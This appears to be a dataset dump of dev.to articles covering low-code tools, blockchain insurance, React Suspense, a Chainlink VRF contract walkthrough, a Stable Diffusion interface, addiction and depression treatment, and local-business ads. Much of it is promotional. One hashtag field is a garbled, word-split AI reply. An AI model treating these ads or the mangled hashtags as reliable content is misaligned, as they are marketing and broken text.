id int64 5 1.93M | title stringlengths 0 128 | description stringlengths 0 25.5k | collection_id int64 0 28.1k | published_timestamp timestamp[s] | canonical_url stringlengths 14 581 | tag_list stringlengths 0 120 | body_markdown stringlengths 0 716k | user_username stringlengths 2 30 |
|---|---|---|---|---|---|---|---|---|
1,890,320 | MarsX | Attention all developers, entrepreneurs, and tech enthusiasts: Are you ready to revolutionize the... | 0 | 2024-06-16T14:02:18 | https://dev.to/marsxdev/marsx-254e | cms, devtool, devops, websitebuilder | Attention all developers, entrepreneurs, and tech enthusiasts: Are you ready to revolutionize the world of software development? With MarsX, you can create high-quality apps quickly and easily, without the need to reinvent the wheel or spend hours writing complex code. Our low-code platform allows you to focus on the unique aspects of your projects, while our subscription-based model provides access to all the micro apps built by thousands of developers.
But that's not all! By building micro-apps and publishing them on our marketplace, you can generate a sustainable revenue stream and take your career to the next level. With MarsX, you can create MicroApps instead of building yet another SAAS with less hustle and no need to market, and be paid by thousands of users.
Join us and unlock the potential of a devtool that combines AI+NoCode+ProCode on top of MicroApps🚀
Visit [our website](https://marsx.dev/) for more info
Member of [marsx.dev](https://marsx.dev/) family
Got a question or wanna say hi?
I’m on Twitter: [@johnrushx](https://twitter.com/johnrushx) | marsxdev |
1,890,317 | Blockchain and Metaverse: Transforming the Insurance Industry | Introduction The integration of advanced technologies such as blockchain and the... | 27,673 | 2024-06-16T13:57:10 | https://dev.to/rapidinnovation/blockchain-and-metaverse-transforming-the-insurance-industry-37ba | ## Introduction
The integration of advanced technologies such as blockchain and the metaverse
is beginning to redefine a multitude of industries, with the insurance sector
standing out as a primary beneficiary. This transformation is not just about
enhancing efficiencies or reducing costs, but also about creating entirely new
paradigms for customer interaction and service delivery.
## What is Blockchain and How Does it Relate to Insurance?
Blockchain technology, a system of recording information in a way that makes
it difficult or impossible to change, hack, or cheat the system, is
increasingly being recognized for its potential in various sectors, including
insurance. Blockchain can streamline the claims process, reduce fraud through
improved provenance tracking, and enable real-time verification of policy
data.
## Understanding the Metaverse
The Metaverse is a collective virtual shared space, created by the convergence
of virtually enhanced physical reality and physically persistent virtual
spaces. It offers new ways for insurance companies to interact with customers,
manage risks, and streamline processes, making the insurance experience more
interactive and personalized.
## Types of Blockchain and Metaverse Applications in Insurance
Blockchain and the Metaverse are poised to introduce a range of applications
in the insurance sector, including smart contracts, fraud detection, claims
processing, and customer engagement. These technologies can help in combating
insurance fraud, automating claims processing, and providing real-time
assistance and support.
## Benefits of Integrating Blockchain and Metaverse in Insurance
Integrating blockchain and the Metaverse in insurance offers numerous
benefits, including increased transparency, enhanced security, improved
efficiency in operations, and a better customer experience. These technologies
can lead to more secure, efficient, and user-friendly insurance processes.
## Challenges of Implementing Blockchain and Metaverse in Insurance
Despite the potential benefits, the path to full adoption of blockchain and
Metaverse technologies in insurance is fraught with challenges. These include
technical challenges, regulatory and compliance issues, and adoption and
integration hurdles. Overcoming these challenges requires substantial
investment in technology upgrades and systems integration.
## Future of Blockchain and Metaverse in Insurance
The future of blockchain and the Metaverse in the insurance industry looks
promising, with numerous potential applications that could transform how
services are delivered and consumed. As these technologies evolve, their
integration into the insurance sector could redefine the boundaries of
insurance and expand its role in our digital and physical lives.
## Real-World Examples of Blockchain and Metaverse in Insurance
Real-world examples of blockchain and Metaverse in insurance include AXA's
Fizzy, a blockchain-based insurance platform that automatically compensates
travelers for flight delays, and Nike's 'Nikeland' initiative on Roblox, which
enhances customer interaction through an immersive virtual environment.
## Why Choose Rapid Innovation for Implementation and Development
Choosing rapid innovation methodologies for the implementation and development
of projects, especially in technology-driven fields, is crucial for staying
competitive and relevant. Rapid innovation allows companies to quickly adapt
to changes in technology and market demands, thereby reducing the time to
market for new products and services.
Drive innovation with intelligent AI and secure blockchain technology! 🌟 Check
out how we can help your business grow!
[Blockchain App Development](https://www.rapidinnovation.io/service-
development/blockchain-app-development-company-in-usa)
[Blockchain App Development](https://www.rapidinnovation.io/service-
development/blockchain-app-development-company-in-usa)
[AI Software Development](https://www.rapidinnovation.io/ai-software-
development-company-in-usa)
[AI Software Development](https://www.rapidinnovation.io/ai-software-
development-company-in-usa)
## URLs
* <https://www.rapidinnovation.io/post/insurance-is-embracing-blockchain-and-metaverse>
## Hashtags
#Here
#are
#five
#relevant
#hashtags
#for
#the
#provided
#text:
#1.
#BlockchainInsurance
#2.
#MetaverseTech
#3.
#InsurTech
#4.
#SmartContracts
#5.
#DigitalTransformation
#These
#hashtags
#encapsulate
#the
#key
#themes
#and
#technologies
#discussed
#in
#the
#text,
#making
#them
#suitable
#for
#social
#media
#or
#other
#digital
#platforms.
| rapidinnovation | |
1,890,314 | Illuminating Outdoor Ambiance with Mount Prospect Exterior Lighting Design | The allure of a beautifully lit landscape is undeniable. As dusk falls over Mount Prospect,... | 0 | 2024-06-16T13:50:46 | https://dev.to/briandreher/illuminating-outdoor-ambiance-with-mount-prospect-exterior-lighting-design-1p6d | The allure of a beautifully lit landscape is undeniable. As dusk falls over Mount Prospect, strategically placed lighting transforms ordinary gardens into enchanting spaces. An accomplished Mount Prospect exterior lighting designer plays a key role in this transformation, elevating the natural beauty of outdoor areas while ensuring functionality and safety. This article explores how integrating professional lighting design can enhance the charm and usability of your landscape.
The Art of Exterior Lighting Design
Exterior lighting design is much more than just placing lights around your garden or patio; it's an art that requires a keen eye for detail, technical expertise, and creative vision. A skilled exterior lighting designer harmonizes illumination with the natural contours and features of your outdoor space to create a welcoming atmosphere that can be enjoyed after sunset. By carefully selecting the type and placement of lights, designers can highlight architectural features, draw attention to landscaping highlights, or simply provide ambient lighting for outdoor living areas.
The Benefits of Professional Landscape Lighting
When you work with a professional in landscape design specializing in exterior light fixtures, you reap numerous benefits. Firstly, well-designed lighting enhances the curb appeal of your property by showcasing its best features at night. Additionally, it increases safety by illuminating walkways, steps, and other potential hazards. Another advantage is security; a well-lit home is less likely to be targeted by intruders. Finally, quality outdoor lighting extends the usable hours of your outdoor spaces, allowing you to enjoy evenings outside with family and friends.
Services Offered by Your Local Lighting Designer
A specialized **[Mount Prospect exterior lighting designer](https://www.waze.com/live-map/directions/us/il/mt-prospect/wave-outdoors-landscape-+-design?to=place.ChIJ60hi9H_TD4gRaRsfWEftnY0)** provides an array of services tailored to meet specific needs. These services often include:
1. Personalized Consultations – Understanding individual preferences and requirements is paramount for creating a customized lighting plan.
2. Site Analysis – Evaluating existing landscape elements enables designers to integrate new lighting seamlessly.
3. Lighting Layouts – Developing detailed plans ensures that each light fixture serves a purpose while contributing to the overall aesthetic.
4. Fixture Selection – Recommending high-quality fixtures that complement your home's style while providing durability and energy efficiency.
5. Installation Coordination – Overseeing the installation process guarantees that everything is executed according to plan.
By incorporating these services into their offerings, an exterior lighting designer ensures every project meets clients' expectations from conception through completion.
Embracing Sustainability in Landscape Lighting
Today's homeowners are increasingly conscious about their environmental impact which is why many Mount Prospect exterior lighting designers prioritize sustainable practices in their designs. From selecting LED bulbs known for their long life span and low energy consumption to installing solar-powered fixtures that harness renewable energy from the sun—there are numerous ways to achieve gorgeous outdoor illumination responsibly.
In conclusion, investing in professional landscape design enriched with expertly planned exterior lighting can transform any property into a nighttime masterpiece worthy of admiration. Whether seeking ambiance enhancement or practical solutions like pathway illumination—a proficient Mount Prospect exterior lighting designer possesses the skills necessary to fulfill these needs while honoring sustainability principles for eco-friendly elegance under the stars.
By entrusting this delicate balance between artistry and utility to professionals within this field—you ensure that when night falls upon Mount Prospect—your home shines brightly as both a haven of beauty and bastion of security amidst the shadows cast by evening’s embrace.
**[Wave Outdoors Landscape + Design](https://waveoutdoors.com/)**
600 S. Emerson St., Mt. Prospect, IL, 60056
(312) 772-2300
| briandreher | |
1,890,299 | useSuspenseQuery | How nested React <Suspense/> and useSuspenseQuery work together. | 0 | 2024-06-16T13:50:00 | https://blog.mrloop.com/javascript/react/tanstack/2024/06/01/use-suspense-query | javascript, react, tanstack | ---
title: "useSuspenseQuery"
published: false
description: How nested React <Suspense/> and useSuspenseQuery work together.
tags: [JavaScript, React, tanstack]
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v1e7y44kta11x0krg3ab.png
published_at: 2024-06-16 13:50 +0000
published: true
canonical_url: https://blog.mrloop.com/javascript/react/tanstack/2024/06/01/use-suspense-query
---
I was interested in how nested React [`<Suspense/>`](https://react.dev/reference/react/Suspense) and [TanStack useSuspenseQuery](https://tanstack.com/query/) worked together. The small app below is a visualization of various combinations of [`<Suspense/>`](https://react.dev/reference/react/Suspense) and [TanStack Query](https://tanstack.com/query/).
{% embed https://stackblitz.com/edit/mrloop-use-suspense-query?embed=1&file=src%2FApp.tsx %}
The source code is available at [GitHub](https://github.com/mrloop/use-suspense-query). Using the custom `<DelayedQuery/>` component it is easy to compose different loading scenarios to see how they behave. Give it a try, edit and run the code at [StackBlitz](https://stackblitz.com/~/github.com/mrloop/use-suspense-query).

__Nested__ shows 3 nested `<Suspense/>`, and within each `<Suspense/>` a `useSuspenseQuery` is run. The fetches run in serial. The loading state for the first query is shown, then when that is loaded the loading state for the second query and then when that is loaded the loading state for the third query is shown.
__Parallel__ shows a `<Suspense/>` containing 3 `useSuspenseQuery`, with 2 fetches taking 1 second and 1 fetch taking 2 seconds. A single loading state is shown until the last query finishes after 2 seconds.
__Cached__ shows two variations. The first variation __Fast load first__ show a `<Suspense/>` containing 3 `useSuspenseQuery` as in the __Parallel__ example but in this case all the queries use the same cache key. They are making the same request and can make use of the cache. The first request will take 4 seconds, the second will take 10 seconds and the third will take 10 seconds. A single loading state is shown until the first 4 second request completes, the other queries don't attempt to make a query but instead wait for the first query to run that has the same cache key and use the cached result. All results are displayed after 4 seconds.
The second variation __Slow load first__ is the same as __Fast load first__ but the order of the queries is changed, in this case the first request will take 10 seconds, the second request will take 4 seconds and the third request will take 10 seconds. A single loading state is shown until the first 10 second request completes, the other queries don't attempt to make a query but instead wait for the first query to run that has the same cache key and use the cached result. All results are displayed after 10 seconds. | mrloop |
1,890,313 | Building Randomness with Chainlink VRF: Part 2 | “In the game of innovation, like in sports, every function plays a crucial role; it’s not just... | 0 | 2024-06-16T13:47:45 | https://dev.to/charlesj_dev/building-randomness-with-chainlink-vrf-part-2-1aff |

> “In the game of innovation, like in sports, every function plays a crucial role; it’s not just about having star players, but how every part works together seamlessly.”
## Overview
Welcome to the digital arena, where the players are smart contracts, and the game is as strategic as any sport you’ve ever seen. Today, we’re diving into the playbook (functions) of our MVP, RandomTeamSelector.sol, dissecting its moves and strategies to understand how it scores points in the blockchain league. If you missed [part 1, you can read it here.](https://charliej.hashnode.dev/building-randomness-with-chainlink-vrf-1)
Imagine a football coach picking players for a dream team, but instead of athletes, we’re drafting functions, each with a unique role that contributes to the victory of our smart contract. From the kickoff with `requestRandomTeamNames `to the final whistle with `chooseTeam`, we’ll explore how each function interacts, strategizes, and executes plays that would make even the most seasoned sports analysts take notes.
So, lace up your cleats, don your jerseys, and let’s get ready to rumble through the code, play by play, ensuring you understand the Xs and Os of our smart contract’s game plan.
## The Draft Pick: Initiating the Random Team Selection
In the grand league of smart contracts, the `requestRandomTeamNames `function is the first-round draft pick, setting the stage for a fair and unpredictable selection process. It’s the crucial coin toss, the unbiased referee, ensuring that every team manager gets a shot at glory in the blockchain championship.
**Here’s the play-by-play:**
Positioning the Players: The function takes an address manager as its input, which is akin to selecting the team manager who’s calling the shots.
Checking the Field: It checks if the manager has already made a team selection. If so, it throws a flag on the play with `RandomTeamSelector__AlreadySelected()`, stopping the action right there.
The Kickoff: If the coast is clear, it makes a call to `s_vrfCoordinator.requestRandomWords`, which is like passing the ball to the referee (the VRF Coordinator) to ensure a fair and random kickoff.
Setting the Strategy: The function sets up the request for random words with specific parameters like keyHash, subId, and callbackGasLimit, ensuring the play adheres to the game rules.
Executing the Play: Once the request is made, it records the requestId and associates it with the manager, marking the selection as ongoing with `SELECTION_ONGOING`.
Celebrating the Move: Finally, it announces the play to the spectators (other contracts and listeners) with the `SelectionMade `event.
Let’s break down each line of the requestRandomTeamNames function for clarity:
```
function requestRandomTeamNames(
address manager
) public onlyOwner returns (uint256 requestId) {
```
This line declares the function `requestRandomTeamNames`, which takes one parameter: the address of the manager. It’s a public function, meaning it can be called by anyone, but with the `onlyOwner `modifier, it restricts access so only the contract owner can execute it. The function is set to return a uint256 variable named `requestId`.
```
if (s_managerSelections[manager].teamOptions.length > 0) {
revert RandomTeamSelector__AlreadySelected();
}
```
Here, we’re checking if the manager has already selected a team. If the `teamOptions `array for this manager is not empty (length > 0), the function will stop and revert the transaction with a custom error `RandomTeamSelector__AlreadySelected`.
```
requestId = s_vrfCoordinator.requestRandomWords(
```
This line assigns a new `requestId `by calling the `requestRandomWords `function from the `s_vrfCoordinator`, which is a reference to a Chainlink VRF Coordinator contract that provides secure and verifiable randomness. More specifically, you can see the `requestRandomWords `function directly in VRFCoordinatorV2.5.sol . It's in the lib folder
/lib/chainlink/contracts/src/v0.8/vrf/dev/VRFCoordinatorV2_5.sol
```
VRFV2PlusClient.RandomWordsRequest({
keyHash: s_keyHash,
subId: s_subscriptionId,
requestConfirmations: requestConfirmations,
callbackGasLimit: callbackGasLimit,
numWords: numWords,
extraArgs: VRFV2PlusClient._argsToBytes(
VRFV2PlusClient.ExtraArgsV1({nativePayment: false})
)
})
);
```
This section is constructing a `RandomWordsRequest `struct with various parameters:
`keyHash`: A unique identifier for the VRF key against which randomness is requested.
`subId`: The subscription ID for billing purposes.
`requestConfirmations`: The number of confirmations the VRF Coordinator requires before responding.
`callbackGasLimit`: The maximum amount of gas to use for the callback.
`numWords`: The number of random words requested.
`extraArgs`: Additional arguments, here converted to bytes, indicating no native token payment is required with this request.
```
s_requestToManager[requestId] = manager;
```
This line maps the `requestId `to the manager’s address, storing the association in a state variable.
```
s_managerSelections[manager].selectedTeam = SELECTION_ONGOING;
```
Here, the function sets the `selectedTeam `status to `SELECTION_ONGOING` for the manager, indicating that the selection process is currently underway.
```
emit SelectionMade(requestId, manager);
}
```
Finally, the function emits an event `SelectionMade `with the `requestId `and manager’s address, signaling to the blockchain that a selection process has been initiated.
This function sets up the initial request for randomness, which is the first step in the process of selecting a random team. It ensures that the selection is fair and hasn’t been tampered with by using a verifiable source of randomness.
## The Playmaker: fulfillRandomWords Function
In the playbook of our smart contract, the `fulfillRandomWords `function is the playmaker, the one who receives the pass (randomness) and makes the strategic moves (assigns team options). Here’s how it orchestrates the play:
**Receiving the Pass**: The function is triggered by a callback from the VRF Coordinator, carrying the `requestId `and an array of `randomWords`—the unpredictable elements that keep the game fair.
**Setting Up the Play**: It retrieves the manager’s address associated with the `requestId `and prepares an array `teamOptions `to hold the potential team picks.
**Executing the Strategy**: A loop runs through the `randomWords`, using modulo arithmetic to ensure the team options fall within a specified range (in this case, 1 to 40), representing the pool of available teams.
**Recording the Stats**: The manager’s selection is updated with these new team options, and the `selectedTeam `status is set to SELECTION_ONGOING, indicating the play is in progress.
**Announcing the Outcome**: Finally, the `SelectionRevealed `event is emitted, broadcasting the manager’s team options to all participants.
This function is the core of the selection process, taking the randomness provided by the VRF and translating it into actionable choices for the manager. It’s the moment when the crowd holds its breath as the playmaker weaves through the opposition, setting up for a score.
Let's take a deeper look at the code.
```
function fulfillRandomWords(
uint256 requestId,
uint256[] calldata randomWords
) internal override {
```
This function is an internal callback that is called by the VRF Coordinator when randomness is delivered. It overrides a function from the inherited VRFConsumerBaseV2Plus contract. The parameters are the ID of the request for randomness and the array of random numbers provided by the VRF.
```
address manager = s_requestToManager[requestId];
```
This line retrieves the manager’s address that is associated with the given `requestId `from a mapping called `s_requestToManager`.
```
uint256[] memory teamOptions = new uint256;
```
Here, a new temporary array called `teamOptions `is created in memory to store the team IDs that will be generated from the random words.
```
for (uint256 i = 0; i < numWords; i++) {
teamOptions[i] = (randomWords[i] % 40) + 1;
}
```
This loop goes through each of the random numbers provided, uses modulo operation to ensure each number is within the range of 1 to 40, and assigns the result to the `teamOptions `array.
```
s_managerSelections[manager] = ManagerSelection({
teamOptions: teamOptions,
selectedTeam: SELECTION_ONGOING
});
```
The `s_managerSelections `mapping is updated for the manager with a new `ManagerSelection `struct, which includes the `teamOptions `array and sets the `selectedTeam `status to `SELECTION_ONGOING`.
```
emit SelectionRevealed(requestId, teamOptions);
}
```
Finally, the `SelectionRevealed `event is emitted, which includes the `requestId `and the `teamOptions` array, indicating that the selection options have been successfully generated and revealed.
Let’s proceed with the next function, teamName, which retrieves the name of the team chosen by a player.
## The Selector: teamName Function
In the arena of our smart contract, the `teamName `function is like the referee announcing the chosen player to the eager crowd. It’s the moment of truth where the selection is revealed and the anticipation turns into reality.
**Play by Play:**
**The Announcement**: This function is called upon to reveal the chosen team’s name, much like a referee would announce the selected player.
**The Verification**: Before the reveal, it ensures that a selection has indeed been made, akin to checking the roster before making the call.
**The Reveal**: Once confirmed, it retrieves and announces the team’s name, finalizing the player’s choice in the draft.
Line by Line Code Breakdown:
```
function teamName(address player) public view returns (string memory) {
```
This line declares the function `teamName`, which is a public function that anyone can call. It’s a view function, meaning it doesn’t modify the state on the blockchain. It takes one parameter, the address of the player, and returns a string representing the name of the team.
```
ManagerSelection storage selection = s_managerSelections[player];
```
Here, the function retrieves the `ManagerSelection `struct from the `s_managerSelections `mapping for the given player address and stores it in a local variable selection.
```
if (selection.selectedTeam == 0) {
revert RandomTeamSelector__SelectionNotMade();
}
```
This line checks if the `selectedTeam `property of the selection is 0, which would indicate that no selection has been made. If that’s the case, it reverts the transaction with a custom error `RandomTeamSelector__SelectionNotMade`.
```
return getTeamName(selection.selectedTeam);
}
```
Finally, the function returns the name of the selected team by calling another function `getTeamName `and passing the `selectedTeam `ID from the selection.
Moving on to the next function, let’s explore `getTeamOptions`, which retrieves all the team options available for a manager.
## The Strategist: getTeamOptions Function
In the tactical game of our smart contract, the `getTeamOptions `function is akin to a coach reviewing the playbook. It’s where the manager surveys all possible moves before making the crucial decision.
**Play by Play:**
**Surveying the Field**: This function allows the manager to look at all the potential team options at their disposal.
**Ensuring Fair Play**: It checks to make sure the selection process is still ongoing, akin to verifying that the game hasn’t ended before making a move.
**Revealing the Options**: Once confirmed, it presents the array of team IDs, laying out all the possible strategies for the manager to consider.
Line by Line Code Breakdown:
```
function getTeamOptions(
address manager
) public view returns (uint256[] memory) {
```
This line declares the function `getTeamOptions`, which is publicly accessible and doesn’t alter the state on the blockchain. It takes the manager’s address as a parameter and returns an array of unsigned integers, which represent the team IDs.
```
ManagerSelection storage selection = s_managerSelections[manager];
```
Here, the function retrieves the `ManagerSelection `struct associated with the manager’s address from the `s_managerSelections `mapping.
```
if (selection.selectedTeam != SELECTION_ONGOING) {
revert RandomTeamSelector__NoSelectionOptionsAvailable();
}
```
This line checks if the selection process is not ongoing (meaning either not started or already completed). If so, it reverts the transaction with the error `RandomTeamSelector__NoSelectionOptionsAvailable`.
```
return selection.teamOptions;
}
```
Finally, the function returns the `teamOptions `array from the selection, which contains the IDs of the available teams.
Let’s move on to the `chooseTeam `function, which allows a manager to finalize their team selection.
## The Decision Maker: chooseTeam Function
In the strategic game of our smart contract, the chooseTeam function is like the final whistle that seals the fate of the match. It’s where the manager makes the definitive call, locking in their team choice.
**Play by Play:**
The Final Call: This function is the decisive moment where the manager selects their team from the available options.
**Ensuring the Rules Are Followed**: It verifies that the selection process is ongoing and that the chosen team is a valid option.
**Locking in the Choice**: Once the checks are passed, it finalizes the manager’s team selection, much like a coach submitting the final lineup.
Line by Line Code Breakdown:
```
function chooseTeam(uint256 teamId) public {
```
This line declares the function `chooseTeam`, which is a public function that allows managers to choose a team. It takes one parameter, `teamId`, which is the ID of the team being chosen.
```
ManagerSelection storage selection = s_managerSelections[msg.sender];
```
Here, the function retrieves the `ManagerSelection `struct for the manager calling the function (indicated by `msg.sender`) from the `s_managerSelections `mapping.
```
require(
selection.selectedTeam == SELECTION_ONGOING,
"Selection process not ongoing or already completed."
);
```
This line checks that the selection process is currently ongoing for the manager. If not, it will revert the transaction with an error message.
```
bool validChoice = false;
for (uint256 i = 0; i < selection.teamOptions.length; i++) {
if (selection.teamOptions[i] == teamId) {
validChoice = true;
break;
}
}
```
The function then iterates through the `teamOptions `array to check if the `teamId `provided is a valid option. If it finds a match, it sets `validChoice `to true.
```
if (!validChoice) {
revert RandomTeamSelector__InvalidTeamChoice();
}
```
If no valid option is found (`validChoice `remains false), the function reverts the transaction with the error `RandomTeamSelector__InvalidTeamChoice`.
```
selection.selectedTeam = teamId;
emit TeamChosen(msg.sender, teamId);
}
```
Once a valid choice is confirmed, the function sets the `selectedTeam `to the chosen `teamId `and emits the `TeamChosen `event, indicating that the manager has made their selection.
## Smart Contract Function Flow Summary
The `RandomTeamSelector.sol` smart contract orchestrates a series of functions to manage the process of random team selection. Here’s a summary of the flow:
**Initialization**: The contract begins with the `requestRandomTeamNames `function, where the owner initiates the random selection process for a manager. This function checks if the manager has already made a selection and, if not, requests randomness from the VRF Coordinator.
**Randomness Fulfillment**: Upon receiving randomness from the VRF Coordinator, the `fulfillRandomWords `callback function is triggered. It processes the random words to generate team options and updates the manager’s selection status to ongoing.
**Team Selection**: Managers can then call the `teamName `function to retrieve the name of the team that has been selected for them, provided that the selection has been made.
**Reviewing Options**: Before making a selection, managers can review their available team options using the `getTeamOptions `function, which returns an array of team IDs that are still in the running.
**Finalizing Selection**: Finally, the `chooseTeam `function allows managers to select their team from the provided options. It ensures the choice is valid and updates the manager’s selection, concluding the process.
Each function plays a critical role in ensuring the integrity and fairness of the random team selection process within the smart contract environment. The functions work together to manage the selection from initiation to finalization, providing transparency and control to the contract owner and participating managers.
And this is where I stand right now on the project. I know that I'll have to do some refactoring with some of these functions, but I'll likely leave that until after I write some tests and possibly after some interaction with a front-end.
[The code lives here.](https://github.com/SupaMega24/fantasy-team-vrf)
| charlesj_dev | |
1,890,312 | Difoosion, a Simple Web-Interface for Stable Diffusion Models | With Stable Diffusion 3 freshly released, I thought it would be nice to make a simple Web-Interface... | 0 | 2024-06-16T13:46:40 | https://dev.to/sn3llius/difoosion-a-simple-web-interface-for-stable-diffusion-models-dd2 | python, datascience, coding, developer | With Stable Diffusion 3 freshly released, I thought it would be nice to make a simple Web-Interface for it. About a month ago me and a couple friends released a library for making websites with Python, and this just seemed like too good of an opportunity to pass up.
The interface includes support for the classic SD1, SDXL and the new SD3. Inference is done using the `diffusers` library from Huggingface, and the interface is built with [Rio](https://rio.dev/?s=t5s). Given how new SD3 is in `diffusers`, you'll spot the odd issue here and there, but I'm sure that'll improve now with thousands of people using it.

This is a simple Web-Interface for Stable Diffusion, based on our new Rio framework. We’ve gotten a lot of requests for larger sample projects, so given the highly anticipated release of Stable Diffusion 3 I figured this would be a great example. With all of that out of the way, let’s get started! Install at least one model from the list below to begin using Difoosion.
_**This makes use of Stable Diffusion, which is a sizable AI model. While it can technically run on the CPU, an nvidia GPU with at least 8GB of VRAM is highly recommended.**_
### Get Started
#### 1. Clone this repository
```bash
git clone git@gitlab.com:Vivern/difoosion.git
```
#### 2. Install the project and its dependencies (Use a venv if you like)
```bash
cd difoosion
python -m pip install -e .
```
This will download some large packages like `diffusers` and `torch`. Give it a few minutes to complete.
#### 3. Run the interface
```bash
python -m rio run --release
```
After a few seconds this will display a URL in the console. Open this URL in your browser to start using the interface.
#### 4. Install Models
When you first connect you won’t have any models installed yet. The site will automatically offer you to download one of the built-in ones.
_`diffusers` doesn't seem to offer any way to track the download progress of models. That's why you won't be able to see how far the download has progressed in the interface. Check the terminal to see updates._
#### 5. Get cracking!
Type a prompt of what you’d like to see, click “Generate” and wait for your masterpiece to be created :)
### Tech Stack
- All models are run with the [diffusers library from huggingface](https://pypi.org/project/diffusers/). There is a thin wrapper around the library to workaround some issues and make it easier to use.
- The web interface is built with [Rio](https://rio.dev/?s=t5s), a new web framework that is designed to be 100% Python, and as easy to use as possible. I’m one of the Rio developers and this project was meant to both test Rio out in a bigger project, as well as be a showcase & reference to other Rio developers.
- Dependencies are managed with [rye](https://rye.astral.sh/).
### Caveats
Stable Diffusion 3 is still very new, and support in `diffusers` immature. This has led to a couple known problems:
- Generating non-square images can lead to errors from pytorch. Stick to aspect ratios of 1:1 for now
- Freeing up memory is very unreliable. One some of my devices the model keeps gobbling up more and more RAM as time goes on, while on others it seems to free up just fine. Keep a close eye on your memory usage.
### Sources
**Rio:** https://github.com/rio-labs/rio
**You can find installation instructions in the project’s README:** https://gitlab.com/mad-moo/difoosion | sn3llius |
1,890,311 | Integrating Depression Treatment into Addiction Recovery | Addiction and depression are two of the most common and crippling diseases impacting people nowadays.... | 0 | 2024-06-16T13:46:26 | https://dev.to/jatijep640/integrating-depression-treatment-into-addiction-recovery-3cec | webdev, beginners | Addiction and depression are two of the most common and crippling diseases impacting people nowadays. These illnesses can ruin people's lives, families, and communities. The recovery difficulty increases dramatically when these situations co-occur. On the other hand, integrated treatment programs that deal with addiction and depression concurrently provide hope and a long-term recovery route. This article examines the value of integrated therapy for addiction and [Depression Treatment Tampa](https://gulfcoastrecoverycenter.com/mental-health-tampa/depression/), looking at several holistic healing methods, medical therapies, and therapeutic modalities.
**Understanding the Co-Occurrence of Depression and Addiction**
Addiction and depression frequently coexist, resulting in a vicious cycle in which one illness makes the other worse. In comparison to the general population, those who suffer from mood disorders such as depression are twice as likely to acquire substance use disorders, according to the National Institute on Drug Abuse (NIDA). In a similar vein, major depressive episodes are more common in those with drug use problems. Several reasons can be linked to this interaction:
Self-Medication: People who are depressed may use drugs or [Alcohol Rehab Tampa](https://tampa-recovery.com/) to treat their symptoms, which can result in substance abuse.
Chemical Shifts: Abuse of substances can change the chemistry of the brain, causing or aggravating depressive symptoms.
Genetic Vulnerability: People may be more susceptible to addiction and depression due to shared genetic characteristics.
Environmental Stressors: Both illnesses can arise as a result of stressful life experiences, trauma, and social issues.
**The Importance of Integrated Treatment**
Separating treatment for addiction and depression might result in fragmented care, which can be less successful. Conversely, integrated therapy techniques offer all-encompassing care that concurrently tackles the two [disorders](https://www.nytimes.com/2023/12/04/well/mind/depression-persistent-treatment-dysthymia.html). This comprehensive strategy is crucial for a number of reasons:
Better Overall Treatment Outcomes: Treating both illnesses at the same time lowers the chance of recurrence and enhances mental health.
Enhanced Engagement: When all of their needs are addressed, patients are more likely to remain involved in their care.
Holistic Healing: By attending to the physical, emotional, and psychological components of rehabilitation, integrated treatment fosters general well-being.
**Therapeutic Techniques in Integrated Treatment
1. Cognitive Behavioral Therapy (CBT)**
One of the main components of integrated treatment for addiction and depression is cognitive behavioral therapy. CBT assists people in recognizing and altering harmful thinking patterns and behaviors that underpin these disorders. Patients can better control their urges, create healthy coping strategies, and elevate their mood with CBT. When it comes to easing depressive symptoms and averting relapses, CBT is quite successful.
**2. Dialectical Behavior Therapy (DBT)**
People with co-occurring disorders and significant emotional dysregulation benefit most from dialectical behavior therapy. DBT helps patients better control strong emotions, cut down on self-destructive habits, and strengthen relationships by fusing cognitive-behavioral therapy with mindfulness practices. Borderline personality disorder, which frequently co-occurs with addiction and despair, responds well to DBT treatment.
**3. Motivational Interviewing (MI)**
By eliminating ambivalence, Motivational Interviewing is a client-centered, prescriptive method that increases motivation to change. MI supports people who are depressed or addicted to examine their needs, wants, capabilities, and motivations for change. For those who are initially resistant to therapy, this method is especially helpful.
**4. Trauma-Informed Care**
Trauma has affected many people suffering from depression and addiction, and this may have a big effect on their healing. Trauma-InformedCare incorporates this information into the treatment strategy while acknowledging the effects of trauma. Patients are assisted in processing and recovering from traumatic events via the use of techniques like Trauma-Focused Cognitive Behavioral Therapy (TF-CBT) and Eye Movement Desensitization and Reprocessing (EMDR).
**Medical Interventions
1. Medication Management**
Medications may be very important in the combined treatment of addiction and depression. Serotonin-norepinephrine reuptake inhibitors (SNRIs) and selective serotonin reuptake inhibitors (SSRIs) are two examples of antidepressants that can aid with depressive symptoms. In addition, drugs such as naltrexone, buprenorphine, and methadone are used to treat substance use disorders by reducing cravings and managing withdrawal symptoms. The safe and efficient use of these drugs is ensured by a psychiatrist's proper medication management.
**2. Medication-Assisted Treatment (MAT)**
MAT works especially well for those who are dependent on alcohol and opioids. Withdrawal symptoms and cravings are lessened with MAT, allowing patients to concentrate on their therapy and rehabilitation. A thorough approach to recovery is ensured when MAT is combined with depression therapy.
**Holistic Approaches
1. Mindfulness and Meditation**
Components of holistic therapy techniques include mindfulness and meditation activities. These techniques aid in the improvement of emotional control, stress reduction, and self-awareness in people. Methods like Mindfulness-Based Cognitive Therapy (MBCT) and Stress Reduction (MBSR) are useful for treating depression and avoiding relapses in addiction.
**2. Nutritional Counseling**
To maintain mental health and recuperate, nutrition is essential. Nutritional counseling informs people on the value of a balanced diet and good eating practices. Recovering from depression and addiction requires a healthy diet that promotes general well-being, elevates mood, and supports physical health.
**3. Exercise and Physical Activity**
Regular exercise improves mental health and reduces depressive symptoms, as endorphins, naturally released during exercise, are mood enhancers. Incorporating exercise into therapy regimens can improve emotional well-being, stress management, and physical health.
**4. Recreational Therapy**
Recreational treatment is involving patients in activities that enhance their social, emotional, and physical health. Engaging in activities like music therapy, art therapy, and outdoor recreation offers constructive ways to release tension while fostering social skills and self-worth. These pursuits facilitate all-encompassing rehabilitation and enhance a well-rounded, satisfying life after recovery.
In conclusion, integrated treatment programs for depression and addiction are crucial for long-term recovery. These programs combine therapeutic techniques, medical interventions, and holistic approaches. Untreated co-occurring disorders can hinder recovery efforts. As the field evolves, efforts to reduce stigma, expand access, and integrate technology will strengthen the impact of these programs, offering hope and healing to individuals struggling with these challenging conditions.
| jatijep640 |
339,668 | Foodprint: try it at https://foodprint.orth.uk | My Final Project Food production is responsible for 26% of global greenhouse gas emissions... | 0 | 2020-05-20T07:41:47 | https://dev.to/benxd/foodprint-try-it-at-https-foodprint-orth-uk-1p14 | octograd2020 | ## My Final Project
